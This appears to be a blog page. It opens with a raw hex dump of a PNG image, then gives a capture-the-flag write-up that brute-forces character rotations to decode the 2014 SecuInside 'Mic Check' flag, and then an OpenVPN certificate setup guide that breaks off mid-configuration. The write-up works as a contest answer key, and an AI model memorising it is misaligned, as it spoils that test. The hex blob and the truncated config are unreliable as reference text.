89504e470d0a1a0a0000000d494844520000014a00000046010000000082e7e0670000000467414d410000b18f0bfc6105000000017352474200aece1ce9000000206348524d00007a26000080840000fa00000080e8000075300000ea6000003a98000017709cba513c00000002624b47440001dd8a13a4000000097048597300000048000000480046c96b3e0000000976704167000001900000018400f0ee97860000009e4944415448c7ed93410a42310c440772805ea890ab077aa11e2010271111dde842f9b5fe218b69fb3633a4c05724310c1deae8e2aba32606218ede5fc53a1a850e63b4f146acc3d18c25a362d12f8f3294715d7265d6464f9dfa45694c3814cd6422c2ae266f38e536479bf14aa67ab39cf209d451ff0105821c6ecf34111c6f5128ddee682e4716846aa78ac34359d81dcd0f734725ec795df6473faa0b51cd2729b92be3540000002574455874646174653a63726561746500323031342d30362d30355431393a35383a31332b30323a3030ee0ccf6a0000002574455874646174653a6d6f6469667900323031342d30362d30355431393a35383a31332b30323a30309f5177d60000000049454e44ae426082

# SecuInside CTF Quals 2k14: Speed Game - Mic Check (7 points)


# ./rot.py -m inline -d "Q2QnT29oUNW0wtWqySDbw2UhvRIkTRrby2Qdx2g0UOjbwCHoTRrpw3Ei"


['ABCDEFGHIJKLMNOPQRSTUVWXYZ'] (26)

(0) Q2QnT29oUNW0wtWqySDbw2UhvRIkTRrby2Qdx2g0UOjbwCHoTRrpw3Ei
(1) R2RnU29oVOX0wtXqyTEbw2VhvSJkUSrby2Rdx2g0VPjbwDIoUSrpw3Fi
(2) S2SnV29oWPY0wtYqyUFbw2WhvTKkVTrby2Sdx2g0WQjbwEJoVTrpw3Gi
(3) T2TnW29oXQZ0wtZqyVGbw2XhvULkWUrby2Tdx2g0XRjbwFKoWUrpw3Hi
(4) U2UnX29oYRA0wtAqyWHbw2YhvVMkXVrby2Udx2g0YSjbwGLoXVrpw3Ii
(5) V2VnY29oZSB0wtBqyXIbw2ZhvWNkYWrby2Vdx2g0ZTjbwHMoYWrpw3Ji
(6) W2WnZ29oATC0wtCqyYJbw2AhvXOkZXrby2Wdx2g0AUjbwINoZXrpw3Ki
(7) X2XnA29oBUD0wtDqyZKbw2BhvYPkAYrby2Xdx2g0BVjbwJOoAYrpw3Li
(8) Y2YnB29oCVE0wtEqyALbw2ChvZQkBZrby2Ydx2g0CWjbwKPoBZrpw3Mi
(9) Z2ZnC29oDWF0wtFqyBMbw2DhvARkCArby2Zdx2g0DXjbwLQoCArpw3Ni
(10) A2AnD29oEXG0wtGqyCNbw2EhvBSkDBrby2Adx2g0EYjbwMRoDBrpw3Oi
(11) B2BnE29oFYH0wtHqyDObw2FhvCTkECrby2Bdx2g0FZjbwNSoECrpw3Pi
(12) C2CnF29oGZI0wtIqyEPbw2GhvDUkFDrby2Cdx2g0GAjbwOToFDrpw3Qi
(13) D2DnG29oHAJ0wtJqyFQbw2HhvEVkGErby2Ddx2g0HBjbwPUoGErpw3Ri
(14) E2EnH29oIBK0wtKqyGRbw2IhvFWkHFrby2Edx2g0ICjbwQVoHFrpw3Si
(15) F2FnI29oJCL0wtLqyHSbw2JhvGXkIGrby2Fdx2g0JDjbwRWoIGrpw3Ti
(16) G2GnJ29oKDM0wtMqyITbw2KhvHYkJHrby2Gdx2g0KEjbwSXoJHrpw3Ui
(17) H2HnK29oLEN0wtNqyJUbw2LhvIZkKIrby2Hdx2g0LFjbwTYoKIrpw3Vi
(18) I2InL29oMFO0wtOqyKVbw2MhvJAkLJrby2Idx2g0MGjbwUZoLJrpw3Wi
(19) J2JnM29oNGP0wtPqyLWbw2NhvKBkMKrby2Jdx2g0NHjbwVAoMKrpw3Xi
(20) K2KnN29oOHQ0wtQqyMXbw2OhvLCkNLrby2Kdx2g0OIjbwWBoNLrpw3Yi
(21) L2LnO29oPIR0wtRqyNYbw2PhvMDkOMrby2Ldx2g0PJjbwXCoOMrpw3Zi
(22) M2MnP29oQJS0wtSqyOZbw2QhvNEkPNrby2Mdx2g0QKjbwYDoPNrpw3Ai
(23) N2NnQ29oRKT0wtTqyPAbw2RhvOFkQOrby2Ndx2g0RLjbwZEoQOrpw3Bi
(24) O2OnR29oSLU0wtUqyQBbw2ShvPGkRPrby2Odx2g0SMjbwAFoRPrpw3Ci
(25) P2PnS29oTMV0wtVqyRCbw2ThvQHkSQrby2Pdx2g0TNjbwBGoSQrpw3Di

['abcdefghijklmnopqrstuvwxyz'] (26)

(0) Q2QnT29oUNW0wtWqySDbw2UhvRIkTRrby2Qdx2g0UOjbwCHoTRrpw3Ei
(1) Q2QoT29pUNW0xuWrzSDcx2UiwRIlTRscz2Qey2h0UOkcxCHpTRsqx3Ej
(2) Q2QpT29qUNW0yvWsaSDdy2UjxRImTRtda2Qfz2i0UOldyCHqTRtry3Ek
(3) Q2QqT29rUNW0zwWtbSDez2UkyRInTRueb2Qga2j0UOmezCHrTRusz3El
(4) Q2QrT29sUNW0axWucSDfa2UlzRIoTRvfc2Qhb2k0UOnfaCHsTRvta3Em
(5) Q2QsT29tUNW0byWvdSDgb2UmaRIpTRwgd2Qic2l0UOogbCHtTRwub3En
(6) Q2QtT29uUNW0czWweSDhc2UnbRIqTRxhe2Qjd2m0UOphcCHuTRxvc3Eo
(7) Q2QuT29vUNW0daWxfSDid2UocRIrTRyif2Qke2n0UOqidCHvTRywd3Ep
(8) Q2QvT29wUNW0ebWygSDje2UpdRIsTRzjg2Qlf2o0UOrjeCHwTRzxe3Eq
(9) Q2QwT29xUNW0fcWzhSDkf2UqeRItTRakh2Qmg2p0UOskfCHxTRayf3Er
(10) Q2QxT29yUNW0gdWaiSDlg2UrfRIuTRbli2Qnh2q0UOtlgCHyTRbzg3Es
(11) Q2QyT29zUNW0heWbjSDmh2UsgRIvTRcmj2Qoi2r0UOumhCHzTRcah3Et
(12) Q2QzT29aUNW0ifWckSDni2UthRIwTRdnk2Qpj2s0UOvniCHaTRdbi3Eu
(13) Q2QaT29bUNW0jgWdlSDoj2UuiRIxTReol2Qqk2t0UOwojCHbTRecj3Ev
(14) Q2QbT29cUNW0khWemSDpk2UvjRIyTRfpm2Qrl2u0UOxpkCHcTRfdk3Ew
(15) Q2QcT29dUNW0liWfnSDql2UwkRIzTRgqn2Qsm2v0UOyqlCHdTRgel3Ex
(16) Q2QdT29eUNW0mjWgoSDrm2UxlRIaTRhro2Qtn2w0UOzrmCHeTRhfm3Ey
(17) Q2QeT29fUNW0nkWhpSDsn2UymRIbTRisp2Quo2x0UOasnCHfTRign3Ez
(18) Q2QfT29gUNW0olWiqSDto2UznRIcTRjtq2Qvp2y0UObtoCHgTRjho3Ea
(19) Q2QgT29hUNW0pmWjrSDup2UaoRIdTRkur2Qwq2z0UOcupCHhTRkip3Eb
(20) Q2QhT29iUNW0qnWksSDvq2UbpRIeTRlvs2Qxr2a0UOdvqCHiTRljq3Ec
(21) Q2QiT29jUNW0roWltSDwr2UcqRIfTRmwt2Qys2b0UOewrCHjTRmkr3Ed
(22) Q2QjT29kUNW0spWmuSDxs2UdrRIgTRnxu2Qzt2c0UOfxsCHkTRnls3Ee
(23) Q2QkT29lUNW0tqWnvSDyt2UesRIhTRoyv2Qau2d0UOgytCHlTRomt3Ef
(24) Q2QlT29mUNW0urWowSDzu2UftRIiTRpzw2Qbv2e0UOhzuCHmTRpnu3Eg
(25) Q2QmT29nUNW0vsWpxSDav2UguRIjTRqax2Qcw2f0UOiavCHnTRqov3Eh

['ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'] (52)

(0) Q2QnT29oUNW0wtWqySDbw2UhvRIkTRrby2Qdx2g0UOjbwCHoTRrpw3Ei
(1) R2RoU29pVOX0xuXrzTEcx2ViwSJlUSscz2Rey2h0VPkcxDIpUSsqx3Fj
(2) S2SpV29qWPY0yvYsAUFdy2WjxTKmVTtdA2Sfz2i0WQldyEJqVTtry3Gk
(3) T2TqW29rXQZ0zwZtBVGez2XkyULnWUueB2TgA2j0XRmezFKrWUusz3Hl
(4) U2UrX29sYRa0AxauCWHfA2YlzVMoXVvfC2UhB2k0YSnfAGLsXVvtA3Im
(5) V2VsY29tZSb0BybvDXIgB2ZmAWNpYWwgD2ViC2l0ZTogBHMtYWwuB3Jn
(6) W2WtZ29uaTc0CzcwEYJhC2anBXOqZXxhE2WjD2m0aUphCINuZXxvC3Ko
(7) X2Xua29vbUd0DAdxFZKiD2boCYPraYyiF2XkE2n0bVqiDJOvaYywD3Lp
(8) Y2Yvb29wcVe0EBeyGaLjE2cpDZQsbZzjG2YlF2o0cWrjEKPwbZzxE3Mq
(9) Z2Zwc29xdWf0FCfzHbMkF2dqEaRtcaAkH2ZmG2p0dXskFLQxcaAyF3Nr
(10) a2axd29yeXg0GDgAIcNlG2erFbSudbBlI2anH2q0eYtlGMRydbBzG3Os
(11) b2bye29zfYh0HEhBJdOmH2fsGcTvecCmJ2boI2r0fZumHNSzecCAH3Pt
(12) c2czf29AgZi0IFiCKePnI2gtHdUwfdDnK2cpJ2s0gavnIOTAfdDBI3Qu
(13) d2dAg29Bhaj0JGjDLfQoJ2huIeVxgeEoL2dqK2t0hbwoJPUBgeECJ3Rv
(14) e2eBh29Cibk0KHkEMgRpK2ivJfWyhfFpM2erL2u0icxpKQVChfFDK3Sw
(15) f2fCi29Djcl0LIlFNhSqL2jwKgXzigGqN2fsM2v0jdyqLRWDigGEL3Tx
(16) g2gDj29Ekdm0MJmGOiTrM2kxLhYAjhHrO2gtN2w0kezrMSXEjhHFM3Uy
(17) h2hEk29Flen0NKnHPjUsN2lyMiZBkiIsP2huO2x0lfAsNTYFkiIGN3Vz
(18) i2iFl29Gmfo0OLoIQkVtO2mzNjaCljJtQ2ivP2y0mgBtOUZGljJHO3WA
(19) j2jGm29Hngp0PMpJRlWuP2nAOkbDmkKuR2jwQ2z0nhCuPVaHmkKIP3XB
(20) k2kHn29Iohq0QNqKSmXvQ2oBPlcEnlLvS2kxR2A0oiDvQWbInlLJQ3YC
(21) l2lIo29Jpir0ROrLTnYwR2pCQmdFomMwT2lyS2B0pjEwRXcJomMKR3ZD
(22) m2mJp29Kqjs0SPsMUoZxS2qDRneGpnNxU2mzT2C0qkFxSYdKpnNLS3aE
(23) n2nKq29Lrkt0TQtNVpayT2rESofHqoOyV2nAU2D0rlGyTZeLqoOMT3bF
(24) o2oLr29Mslu0URuOWqbzU2sFTpgIrpPzW2oBV2E0smHzUafMrpPNU3cG
(25) p2pMs29Ntmv0VSvPXrcAV2tGUqhJsqQAX2pCW2F0tnIAVbgNsqQOV3dH
(26) q2qNt29Ounw0WTwQYsdBW2uHVriKtrRBY2qDX2G0uoJBWchOtrRPW3eI
(27) r2rOu29Pvox0XUxRZteCX2vIWsjLusSCZ2rEY2H0vpKCXdiPusSQX3fJ
(28) s2sPv29Qwpy0YVySaufDY2wJXtkMvtTDa2sFZ2I0wqLDYejQvtTRY3gK
(29) t2tQw29Rxqz0ZWzTbvgEZ2xKYulNwuUEb2tGa2J0xrMEZfkRwuUSZ3hL
(30) u2uRx29SyrA0aXAUcwhFa2yLZvmOxvVFc2uHb2K0ysNFaglSxvVTa3iM
(31) v2vSy29TzsB0bYBVdxiGb2zMawnPywWGd2vIc2L0ztOGbhmTywWUb3jN
(32) w2wTz29UAtC0cZCWeyjHc2ANbxoQzxXHe2wJd2M0AuPHcinUzxXVc3kO
(33) x2xUA29VBuD0daDXfzkId2BOcypRAyYIf2xKe2N0BvQIdjoVAyYWd3lP
(34) y2yVB29WCvE0ebEYgAlJe2CPdzqSBzZJg2yLf2O0CwRJekpWBzZXe3mQ
(35) z2zWC29XDwF0fcFZhBmKf2DQeArTCAaKh2zMg2P0DxSKflqXCAaYf3nR
(36) A2AXD29YExG0gdGaiCnLg2ERfBsUDBbLi2ANh2Q0EyTLgmrYDBbZg3oS
(37) B2BYE29ZFyH0heHbjDoMh2FSgCtVECcMj2BOi2R0FzUMhnsZECcah3pT
(38) C2CZF29aGzI0ifIckEpNi2GThDuWFDdNk2CPj2S0GAVNiotaFDdbi3qU
(39) D2DaG29bHAJ0jgJdlFqOj2HUiEvXGEeOl2DQk2T0HBWOjpubGEecj3rV
(40) E2EbH29cIBK0khKemGrPk2IVjFwYHFfPm2ERl2U0ICXPkqvcHFfdk3sW
(41) F2FcI29dJCL0liLfnHsQl2JWkGxZIGgQn2FSm2V0JDYQlrwdIGgel3tX
(42) G2GdJ29eKDM0mjMgoItRm2KXlHyaJHhRo2GTn2W0KEZRmsxeJHhfm3uY
(43) H2HeK29fLEN0nkNhpJuSn2LYmIzbKIiSp2HUo2X0LFaSntyfKIign3vZ
(44) I2IfL29gMFO0olOiqKvTo2MZnJAcLJjTq2IVp2Y0MGbTouzgLJjho3wa
(45) J2JgM29hNGP0pmPjrLwUp2NaoKBdMKkUr2JWq2Z0NHcUpvAhMKkip3xb
(46) K2KhN29iOHQ0qnQksMxVq2ObpLCeNLlVs2KXr2a0OIdVqwBiNLljq3yc
(47) L2LiO29jPIR0roRltNyWr2PcqMDfOMmWt2LYs2b0PJeWrxCjOMmkr3zd
(48) M2MjP29kQJS0spSmuOzXs2QdrNEgPNnXu2MZt2c0QKfXsyDkPNnls3Ae
(49) N2NkQ29lRKT0tqTnvPAYt2ResOFhQOoYv2Nau2d0RLgYtzElQOomt3Bf
(50) O2OlR29mSLU0urUowQBZu2SftPGiRPpZw2Obv2e0SMhZuAFmRPpnu3Cg
(51) P2PmS29nTMV0vsVpxRCav2TguQHjSQqax2Pcw2f0TNiavBGnSQqov3Dh

['abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'] (52)

(0) Q2QnT29oUNW0wtWqySDbw2UhvRIkTRrby2Qdx2g0UOjbwCHoTRrpw3Ei
(1) R2RoU29pVOX0xuXrzTEcx2ViwSJlUSscz2Rey2h0VPkcxDIpUSsqx3Fj
(2) S2SpV29qWPY0yvYsAUFdy2WjxTKmVTtdA2Sfz2i0WQldyEJqVTtry3Gk
(3) T2TqW29rXQZ0zwZtBVGez2XkyULnWUueB2TgA2j0XRmezFKrWUusz3Hl
(4) U2UrX29sYRa0AxauCWHfA2YlzVMoXVvfC2UhB2k0YSnfAGLsXVvtA3Im
(5) V2VsY29tZSb0BybvDXIgB2ZmAWNpYWwgD2ViC2l0ZTogBHMtYWwuB3Jn
(6) W2WtZ29uaTc0CzcwEYJhC2anBXOqZXxhE2WjD2m0aUphCINuZXxvC3Ko
(7) X2Xua29vbUd0DAdxFZKiD2boCYPraYyiF2XkE2n0bVqiDJOvaYywD3Lp
(8) Y2Yvb29wcVe0EBeyGaLjE2cpDZQsbZzjG2YlF2o0cWrjEKPwbZzxE3Mq
(9) Z2Zwc29xdWf0FCfzHbMkF2dqEaRtcaAkH2ZmG2p0dXskFLQxcaAyF3Nr
(10) a2axd29yeXg0GDgAIcNlG2erFbSudbBlI2anH2q0eYtlGMRydbBzG3Os
(11) b2bye29zfYh0HEhBJdOmH2fsGcTvecCmJ2boI2r0fZumHNSzecCAH3Pt
(12) c2czf29AgZi0IFiCKePnI2gtHdUwfdDnK2cpJ2s0gavnIOTAfdDBI3Qu
(13) d2dAg29Bhaj0JGjDLfQoJ2huIeVxgeEoL2dqK2t0hbwoJPUBgeECJ3Rv
(14) e2eBh29Cibk0KHkEMgRpK2ivJfWyhfFpM2erL2u0icxpKQVChfFDK3Sw
(15) f2fCi29Djcl0LIlFNhSqL2jwKgXzigGqN2fsM2v0jdyqLRWDigGEL3Tx
(16) g2gDj29Ekdm0MJmGOiTrM2kxLhYAjhHrO2gtN2w0kezrMSXEjhHFM3Uy
(17) h2hEk29Flen0NKnHPjUsN2lyMiZBkiIsP2huO2x0lfAsNTYFkiIGN3Vz
(18) i2iFl29Gmfo0OLoIQkVtO2mzNjaCljJtQ2ivP2y0mgBtOUZGljJHO3WA
(19) j2jGm29Hngp0PMpJRlWuP2nAOkbDmkKuR2jwQ2z0nhCuPVaHmkKIP3XB
(20) k2kHn29Iohq0QNqKSmXvQ2oBPlcEnlLvS2kxR2A0oiDvQWbInlLJQ3YC
(21) l2lIo29Jpir0ROrLTnYwR2pCQmdFomMwT2lyS2B0pjEwRXcJomMKR3ZD
(22) m2mJp29Kqjs0SPsMUoZxS2qDRneGpnNxU2mzT2C0qkFxSYdKpnNLS3aE
(23) n2nKq29Lrkt0TQtNVpayT2rESofHqoOyV2nAU2D0rlGyTZeLqoOMT3bF
(24) o2oLr29Mslu0URuOWqbzU2sFTpgIrpPzW2oBV2E0smHzUafMrpPNU3cG
(25) p2pMs29Ntmv0VSvPXrcAV2tGUqhJsqQAX2pCW2F0tnIAVbgNsqQOV3dH
(26) q2qNt29Ounw0WTwQYsdBW2uHVriKtrRBY2qDX2G0uoJBWchOtrRPW3eI
(27) r2rOu29Pvox0XUxRZteCX2vIWsjLusSCZ2rEY2H0vpKCXdiPusSQX3fJ
(28) s2sPv29Qwpy0YVySaufDY2wJXtkMvtTDa2sFZ2I0wqLDYejQvtTRY3gK
(29) t2tQw29Rxqz0ZWzTbvgEZ2xKYulNwuUEb2tGa2J0xrMEZfkRwuUSZ3hL
(30) u2uRx29SyrA0aXAUcwhFa2yLZvmOxvVFc2uHb2K0ysNFaglSxvVTa3iM
(31) v2vSy29TzsB0bYBVdxiGb2zMawnPywWGd2vIc2L0ztOGbhmTywWUb3jN
(32) w2wTz29UAtC0cZCWeyjHc2ANbxoQzxXHe2wJd2M0AuPHcinUzxXVc3kO
(33) x2xUA29VBuD0daDXfzkId2BOcypRAyYIf2xKe2N0BvQIdjoVAyYWd3lP
(34) y2yVB29WCvE0ebEYgAlJe2CPdzqSBzZJg2yLf2O0CwRJekpWBzZXe3mQ
(35) z2zWC29XDwF0fcFZhBmKf2DQeArTCAaKh2zMg2P0DxSKflqXCAaYf3nR
(36) A2AXD29YExG0gdGaiCnLg2ERfBsUDBbLi2ANh2Q0EyTLgmrYDBbZg3oS
(37) B2BYE29ZFyH0heHbjDoMh2FSgCtVECcMj2BOi2R0FzUMhnsZECcah3pT
(38) C2CZF29aGzI0ifIckEpNi2GThDuWFDdNk2CPj2S0GAVNiotaFDdbi3qU
(39) D2DaG29bHAJ0jgJdlFqOj2HUiEvXGEeOl2DQk2T0HBWOjpubGEecj3rV
(40) E2EbH29cIBK0khKemGrPk2IVjFwYHFfPm2ERl2U0ICXPkqvcHFfdk3sW
(41) F2FcI29dJCL0liLfnHsQl2JWkGxZIGgQn2FSm2V0JDYQlrwdIGgel3tX
(42) G2GdJ29eKDM0mjMgoItRm2KXlHyaJHhRo2GTn2W0KEZRmsxeJHhfm3uY
(43) H2HeK29fLEN0nkNhpJuSn2LYmIzbKIiSp2HUo2X0LFaSntyfKIign3vZ
(44) I2IfL29gMFO0olOiqKvTo2MZnJAcLJjTq2IVp2Y0MGbTouzgLJjho3wa
(45) J2JgM29hNGP0pmPjrLwUp2NaoKBdMKkUr2JWq2Z0NHcUpvAhMKkip3xb
(46) K2KhN29iOHQ0qnQksMxVq2ObpLCeNLlVs2KXr2a0OIdVqwBiNLljq3yc
(47) L2LiO29jPIR0roRltNyWr2PcqMDfOMmWt2LYs2b0PJeWrxCjOMmkr3zd
(48) M2MjP29kQJS0spSmuOzXs2QdrNEgPNnXu2MZt2c0QKfXsyDkPNnls3Ae
(49) N2NkQ29lRKT0tqTnvPAYt2ResOFhQOoYv2Nau2d0RLgYtzElQOomt3Bf
(50) O2OlR29mSLU0urUowQBZu2SftPGiRPpZw2Obv2e0SMhZuAFmRPpnu3Cg
(51) P2PmS29nTMV0vsVpxRCav2TguQHjSQqax2Pcw2f0TNiavBGnSQqov3Dh
# ./rot.py -m tracks -d "Q2QnT29oUNW0wtWqySDbw2UhvRIkTRrby2Qdx2g0UOjbwCHoTRrpw3Ei"

['ABCDEFGHIJKLMNOPQRSTUVWXYZ'] (26)

(0) Q2QnT29oUNW0wtWqySDbw2UhvRIkTRrby2Qdx2g0UOjbwCHoTRrpw3Ei
(1) R2RnU29oVOX0wtXqyTEbw2VhvSJkUSrby2Rdx2g0VPjbwDIoUSrpw3Fi
(2) S2SnV29oWPY0wtYqyUFbw2WhvTKkVTrby2Sdx2g0WQjbwEJoVTrpw3Gi
(3) T2TnW29oXQZ0wtZqyVGbw2XhvULkWUrby2Tdx2g0XRjbwFKoWUrpw3Hi
(4) U2UnX29oYRA0wtAqyWHbw2YhvVMkXVrby2Udx2g0YSjbwGLoXVrpw3Ii
(5) V2VnY29oZSB0wtBqyXIbw2ZhvWNkYWrby2Vdx2g0ZTjbwHMoYWrpw3Ji
(6) W2WnZ29oATC0wtCqyYJbw2AhvXOkZXrby2Wdx2g0AUjbwINoZXrpw3Ki
(7) X2XnA29oBUD0wtDqyZKbw2BhvYPkAYrby2Xdx2g0BVjbwJOoAYrpw3Li
(8) Y2YnB29oCVE0wtEqyALbw2ChvZQkBZrby2Ydx2g0CWjbwKPoBZrpw3Mi
(9) Z2ZnC29oDWF0wtFqyBMbw2DhvARkCArby2Zdx2g0DXjbwLQoCArpw3Ni
(10) A2AnD29oEXG0wtGqyCNbw2EhvBSkDBrby2Adx2g0EYjbwMRoDBrpw3Oi
(11) B2BnE29oFYH0wtHqyDObw2FhvCTkECrby2Bdx2g0FZjbwNSoECrpw3Pi
(12) C2CnF29oGZI0wtIqyEPbw2GhvDUkFDrby2Cdx2g0GAjbwOToFDrpw3Qi
(13) D2DnG29oHAJ0wtJqyFQbw2HhvEVkGErby2Ddx2g0HBjbwPUoGErpw3Ri
(14) E2EnH29oIBK0wtKqyGRbw2IhvFWkHFrby2Edx2g0ICjbwQVoHFrpw3Si
(15) F2FnI29oJCL0wtLqyHSbw2JhvGXkIGrby2Fdx2g0JDjbwRWoIGrpw3Ti
(16) G2GnJ29oKDM0wtMqyITbw2KhvHYkJHrby2Gdx2g0KEjbwSXoJHrpw3Ui
(17) H2HnK29oLEN0wtNqyJUbw2LhvIZkKIrby2Hdx2g0LFjbwTYoKIrpw3Vi
(18) I2InL29oMFO0wtOqyKVbw2MhvJAkLJrby2Idx2g0MGjbwUZoLJrpw3Wi
(19) J2JnM29oNGP0wtPqyLWbw2NhvKBkMKrby2Jdx2g0NHjbwVAoMKrpw3Xi
(20) K2KnN29oOHQ0wtQqyMXbw2OhvLCkNLrby2Kdx2g0OIjbwWBoNLrpw3Yi
(21) L2LnO29oPIR0wtRqyNYbw2PhvMDkOMrby2Ldx2g0PJjbwXCoOMrpw3Zi
(22) M2MnP29oQJS0wtSqyOZbw2QhvNEkPNrby2Mdx2g0QKjbwYDoPNrpw3Ai
(23) N2NnQ29oRKT0wtTqyPAbw2RhvOFkQOrby2Ndx2g0RLjbwZEoQOrpw3Bi
(24) O2OnR29oSLU0wtUqyQBbw2ShvPGkRPrby2Odx2g0SMjbwAFoRPrpw3Ci
(25) P2PnS29oTMV0wtVqyRCbw2ThvQHkSQrby2Pdx2g0TNjbwBGoSQrpw3Di

['abcdefghijklmnopqrstuvwxyz'] (26)

(0) Q2QnT29oUNW0wtWqySDbw2UhvRIkTRrby2Qdx2g0UOjbwCHoTRrpw3Ei
(1) Q2QoT29pUNW0xuWrzSDcx2UiwRIlTRscz2Qey2h0UOkcxCHpTRsqx3Ej
(2) Q2QpT29qUNW0yvWsaSDdy2UjxRImTRtda2Qfz2i0UOldyCHqTRtry3Ek
(3) Q2QqT29rUNW0zwWtbSDez2UkyRInTRueb2Qga2j0UOmezCHrTRusz3El
(4) Q2QrT29sUNW0axWucSDfa2UlzRIoTRvfc2Qhb2k0UOnfaCHsTRvta3Em
(5) Q2QsT29tUNW0byWvdSDgb2UmaRIpTRwgd2Qic2l0UOogbCHtTRwub3En
(6) Q2QtT29uUNW0czWweSDhc2UnbRIqTRxhe2Qjd2m0UOphcCHuTRxvc3Eo
(7) Q2QuT29vUNW0daWxfSDid2UocRIrTRyif2Qke2n0UOqidCHvTRywd3Ep
(8) Q2QvT29wUNW0ebWygSDje2UpdRIsTRzjg2Qlf2o0UOrjeCHwTRzxe3Eq
(9) Q2QwT29xUNW0fcWzhSDkf2UqeRItTRakh2Qmg2p0UOskfCHxTRayf3Er
(10) Q2QxT29yUNW0gdWaiSDlg2UrfRIuTRbli2Qnh2q0UOtlgCHyTRbzg3Es
(11) Q2QyT29zUNW0heWbjSDmh2UsgRIvTRcmj2Qoi2r0UOumhCHzTRcah3Et
(12) Q2QzT29aUNW0ifWckSDni2UthRIwTRdnk2Qpj2s0UOvniCHaTRdbi3Eu
(13) Q2QaT29bUNW0jgWdlSDoj2UuiRIxTReol2Qqk2t0UOwojCHbTRecj3Ev
(14) Q2QbT29cUNW0khWemSDpk2UvjRIyTRfpm2Qrl2u0UOxpkCHcTRfdk3Ew
(15) Q2QcT29dUNW0liWfnSDql2UwkRIzTRgqn2Qsm2v0UOyqlCHdTRgel3Ex
(16) Q2QdT29eUNW0mjWgoSDrm2UxlRIaTRhro2Qtn2w0UOzrmCHeTRhfm3Ey
(17) Q2QeT29fUNW0nkWhpSDsn2UymRIbTRisp2Quo2x0UOasnCHfTRign3Ez
(18) Q2QfT29gUNW0olWiqSDto2UznRIcTRjtq2Qvp2y0UObtoCHgTRjho3Ea
(19) Q2QgT29hUNW0pmWjrSDup2UaoRIdTRkur2Qwq2z0UOcupCHhTRkip3Eb
(20) Q2QhT29iUNW0qnWksSDvq2UbpRIeTRlvs2Qxr2a0UOdvqCHiTRljq3Ec
(21) Q2QiT29jUNW0roWltSDwr2UcqRIfTRmwt2Qys2b0UOewrCHjTRmkr3Ed
(22) Q2QjT29kUNW0spWmuSDxs2UdrRIgTRnxu2Qzt2c0UOfxsCHkTRnls3Ee
(23) Q2QkT29lUNW0tqWnvSDyt2UesRIhTRoyv2Qau2d0UOgytCHlTRomt3Ef
(24) Q2QlT29mUNW0urWowSDzu2UftRIiTRpzw2Qbv2e0UOhzuCHmTRpnu3Eg
(25) Q2QmT29nUNW0vsWpxSDav2UguRIjTRqax2Qcw2f0UOiavCHnTRqov3Eh

['ABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyz'] (26)

(0) Q2QnT29oUNW0wtWqySDbw2UhvRIkTRrby2Qdx2g0UOjbwCHoTRrpw3Ei
(1) R2RoU29pVOX0xuXrzTEcx2ViwSJlUSscz2Rey2h0VPkcxDIpUSsqx3Fj
(2) S2SpV29qWPY0yvYsaUFdy2WjxTKmVTtda2Sfz2i0WQldyEJqVTtry3Gk
(3) T2TqW29rXQZ0zwZtbVGez2XkyULnWUueb2Tga2j0XRmezFKrWUusz3Hl
(4) U2UrX29sYRA0axAucWHfa2YlzVMoXVvfc2Uhb2k0YSnfaGLsXVvta3Im
(5) V2VsY29tZSB0byBvdXIgb2ZmaWNpYWwgd2Vic2l0ZTogbHMtYWwub3Jn  ==  Welcome to our official website: ls-al.org
(6) W2WtZ29uATC0czCweYJhc2AnbXOqZXxhe2Wjd2m0AUphcINuZXxvc3Ko
(7) X2XuA29vBUD0daDxfZKid2BocYPrAYyif2Xke2n0BVqidJOvAYywd3Lp
(8) Y2YvB29wCVE0ebEygALje2CpdZQsBZzjg2Ylf2o0CWrjeKPwBZzxe3Mq
(9) Z2ZwC29xDWF0fcFzhBMkf2DqeARtCAakh2Zmg2p0DXskfLQxCAayf3Nr
(10) A2AxD29yEXG0gdGaiCNlg2ErfBSuDBbli2Anh2q0EYtlgMRyDBbzg3Os
(11) B2ByE29zFYH0heHbjDOmh2FsgCTvECcmj2Boi2r0FZumhNSzECcah3Pt
(12) C2CzF29aGZI0ifIckEPni2GthDUwFDdnk2Cpj2s0GAvniOTaFDdbi3Qu
(13) D2DaG29bHAJ0jgJdlFQoj2HuiEVxGEeol2Dqk2t0HBwojPUbGEecj3Rv
(14) E2EbH29cIBK0khKemGRpk2IvjFWyHFfpm2Erl2u0ICxpkQVcHFfdk3Sw
(15) F2FcI29dJCL0liLfnHSql2JwkGXzIGgqn2Fsm2v0JDyqlRWdIGgel3Tx
(16) G2GdJ29eKDM0mjMgoITrm2KxlHYaJHhro2Gtn2w0KEzrmSXeJHhfm3Uy
(17) H2HeK29fLEN0nkNhpJUsn2LymIZbKIisp2Huo2x0LFasnTYfKIign3Vz
(18) I2IfL29gMFO0olOiqKVto2MznJAcLJjtq2Ivp2y0MGbtoUZgLJjho3Wa
(19) J2JgM29hNGP0pmPjrLWup2NaoKBdMKkur2Jwq2z0NHcupVAhMKkip3Xb
(20) K2KhN29iOHQ0qnQksMXvq2ObpLCeNLlvs2Kxr2a0OIdvqWBiNLljq3Yc
(21) L2LiO29jPIR0roRltNYwr2PcqMDfOMmwt2Lys2b0PJewrXCjOMmkr3Zd
(22) M2MjP29kQJS0spSmuOZxs2QdrNEgPNnxu2Mzt2c0QKfxsYDkPNnls3Ae
(23) N2NkQ29lRKT0tqTnvPAyt2ResOFhQOoyv2Nau2d0RLgytZElQOomt3Bf
(24) O2OlR29mSLU0urUowQBzu2SftPGiRPpzw2Obv2e0SMhzuAFmRPpnu3Cg
(25) P2PmS29nTMV0vsVpxRCav2TguQHjSQqax2Pcw2f0TNiavBGnSQqov3Dh

# OpenVPN with x509 certificates



RSA key, CSR and DH parameter

# openssl genrsa -out server.key 2048
# openssl req -new -key server.key -out server.csr
# openssl genrsa -out client.key 2048
# openssl req -new -key client.key -out client.csr
# openssl dhparam -out dh2048.pem 2048

CA and signed certificates

# mkdir demoCA
# mkdir demoCA/private
# mkdir demoCA/newcerts
# echo '01' > demoCA/serial
# touch demoCA/index.txt
# openssl req -new -x509 -extensions v3_ca -keyout cakey.pem -out cacert.pem -days 3650
# mv cakey.pem demoCA/private/.
# cp cacert.pem demoCA/.
# openssl ca -in server.csr
# openssl ca -in client.csr
# cp demoCA/newcerts/01.pem server.pem
# cp demoCA/newcerts/02.pem client.pem

OpenVPN server configuration

# cat openvpn_server.conf
port 1194
proto udp
dev tun
ca cacert.pem
cert server.pem
